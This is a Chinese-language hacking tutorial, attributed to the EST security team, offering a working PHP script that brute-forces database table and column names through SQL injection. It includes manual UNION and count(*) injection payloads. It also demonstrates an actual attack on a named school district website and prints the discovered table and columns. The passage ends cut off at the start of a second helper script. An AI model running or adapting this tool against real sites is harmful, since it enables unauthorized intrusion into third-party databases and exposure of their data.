文章作者:mika[EST]
信息來源:邪惡八進制信息安全團隊
最近俺又迷戀上腳本了,嘿嘿~~~剛學完PHP然後又看了些PHP安全方面的文章,於是乎從google中找了幾個站練習一下。
結果發現php猜表名和列名真的很費勁啊,nbsi這類的掃描工具有沒有那種用字典或者暴力猜解表名和列名的功能,難不成還得自己一個一個猜啊?我很懶的:-)
突然想到自己不是剛剛學完PHP嗎?為什麼不學以致用呢?php不光是一個web腳本語言,它還是一個非常棒的命令行解釋語言,用它寫腳本好方便的哦。為了以後能夠碰到這類問題省點勁俺就寫了一個php腳本用來猜表和列名的。腳本寫的很簡單,內容如下:
<?php
echo " Universal Database tables explode exploit V0.1
";
echo " Written by Mika[EST]
";
//$keyword="Warning";
$keyword="error";
switch($argc){
case 3:
$u=" and (select count(*) from MIKA_NAME)>0";
$dic=$argv[2];
break;
case 4:
$u=" and 1=1 union select ".implode(,,range(1,$argv[2]))." from MIKA_NAME#";
$dic=$argv[3];
break;
case 5:
if($argv[2]!="-t")
exit("arguments Error");
$u=" and (select count(MIKA_NAME) from $argv[3])>0#";
$dic=$argv[4];
break;
case 6:
if($argv[2]!="-t" || $argv[4]<1)
exit("arguments Error");
if($argv[4]>=2){
$u=" and 1=1 union select ".MIKA_NAME.,.implode(,,range(2,$argv[4]))." from $argv[3]#";
}else{
$u=" and 1=1 union select MIKA_NAME from $argv[3]#";
}
$dic=$argv[5];
break;
default:
echo <<<USAGE
Usage:$argv[0] <URL> [OPTIONS] <dict file>
OPTIONS: number --->to indicate column number of a table during a union query
e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] 3 mydict.txt
the url will be like:.../bbb.asp?ccc=56 and 1=2 union select 1,2,3 from admin
OPTIONS: -t <table> [number] ---> to explode column name of the <table>
e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] -t admin mydict.txt
Attention:if you dont use [options] the program will use default mode to work.you can change it in the source code of this program.
USAGE;
die;
}
$old=$argv[1];
file_exists($dic) or exit("dic file does not exist!
");
$words=file($dic);
$curl=curl_init();
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
print "[+]Searching What you want...
";
foreach($words as $word){
//print $word;
if(preg_match("/^s$/",$word)){
//print "blank";
continue;
}
$url=str_replace(MIKA_NAME,trim($word),$u);
$url=$old.urlencode($url);
//$url=$old.$url;
curl_setopt($curl,CURLOPT_URL,$url);
//print "source url is:".$url."
";
$content=curl_exec($curl);
//$new=$content;
//print $content;
if(preg_match("/$keyword/i",$content)==0){
print "[*] FOUND:".trim($word);
}
else{print ".";}
}
?>
俺先解釋一下吧:程序裡用到的模塊是curl,它用來獲取網頁內容是非常方便的。我的這個php是for windows的,所以裡面集成了很多的模塊。但是curl默認是不啟用的,你需要開啟它哦。方法很簡單,去網上下載php最新版本的綠色版(不需要安裝的,方便攜帶),然後將壓縮包內的php.ini-recommended復制到系統目錄(win2k是winnt目錄,xp等的是windows目錄)並將其改名為php.ini,然後用記事本打開,找到如下一行:
extension_dir =
把它的值設置成你自己的,比如把壓縮包接壓到了c:php裡,那麼你需要把它設置成:
extension_dir = "c:phpext"
然後再繼續找到下面這段:
; Windows Extensions
; Note that ODBC support is built in, so no dll is needed for it.
; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
; extension folders as well as the separate PECL DLL download (PHP 5).
; Be sure to appropriately set the extension_dir directive.
;extension=php_mbstring.dll
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd2.dll
;extension=php_gettext.dll
;extension=php_ifx.dll
看到php_curl.dll了嗎?把它前面的分號去掉就可以了。然後保存一下,還沒完呢,再去php的目錄裡找到這兩個文件:
libeay32.dll
ssleay32.dll
把他們復制到system32目錄裡就OK了。很簡單吧?然後在環境變量裡設置一下你的php的路徑,這樣在任何目錄裡就可以直接調用php.exe進行解析了。安裝其它模塊的步驟也類似,俺就不多說了:-)
言歸正傳,你通過上面幾步就可以使用curl模塊了。程序用法很簡單,比如有注入的url是這樣的:http://www.aaa.com/bbb.asp?ccc=56,你的字典文件在當前目錄mydict.txt。那麼本程序的使用方法就是:
php explode.php http://www.aaa.com/bbb.asp?ccc=56 mydict.txt
需要注意的就是,由於這個程序本來就是俺自己用的,所以程序沒有考慮很多東西。程序是根據頁面返回的內容進行判斷的,所以呢,你要首先自己手工獲取一下,比如你可以這樣:
http://www.aaa.com/bbb.asp?ccc=56 and (select count(*) from mika520)>0(access和mssql上)
或者
http://www.aaa.com/bbb.asp?ccc=56 and 1=1 union select 1,2,3,4,5,6 from mika520%23 (mysql上)
其中的mika520是一個不存在的表,這樣返回的頁面後你可以察看源代碼,隨便找一個正確頁面中不存在的語句作為關鍵字(nbsi等的注入工具默認是用正確頁面裡的東西作為判斷的,俺和它反著來:-),然後把程序代碼中第4行的$keyword的值換成你的關鍵字就可以了。比如下面這個站吧:
http://www.elkhart.k12.in.us/content.php?id=157
由於是php的所以你得用第二種方式來猜,即需要使用聯合查詢,所以先判斷注入點存在不存在,然後使用order by判斷字段數,我在這裡判斷的是5個字段,判斷好後就可以使用我的這個程序來猜了,結果如下:
F:scriptsphpmine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
=157 5 mydict.txt
Universal Database tables explode exploit V0.1
Written by Mika[EST]
[+]Searching What you want...
...[*] FOUND:structure..........................................................
看到了嗎?找到了一個表,呵呵。再來看看字段:
F:scriptsphpmine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
=157 -t structure 5 temp.txt
Universal Database tables explode exploit V0.1
Written by Mika[EST]
[+]Searching What you want...
[*] FOUND:division......[*] FOUND:id.[*] FOUND:level.........[*] FOUND:title....
..[*] FOUND:content..[*] FOUND:parent_id.........
很簡單吧?命令中的那個5就是你用order by猜出的字段數,換成實際中的就可以了。如果是access或者mssql的數據庫,只要去掉那個字段數(即例子中的5)的參數就可以了。我就不多做演示了。
如果大家用得過程中出現問題可以自己去改代碼,很簡單的:-)
另外我這個程序默認是使用HTTP代理的,所以你需要修改這一行:
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
換成你的代理就好了,如果不需要代理那就直接注釋掉好了。
其實猜嘛,關鍵還是看你的字典是不是夠強大,你可以把你常見的字典組合一下就好了。比如NBSI和狂注幽靈等的字典拿過來,然後組成一個文件就是了。但是這兩個字典有可能有很多重復的,為了節省不必要的猜解,需要去處重復的。我這裡用php寫了非常簡單的程序可以幫助你去除重復行,如下:
<?php
if($argc!=2){
echo <<<INFO
Writte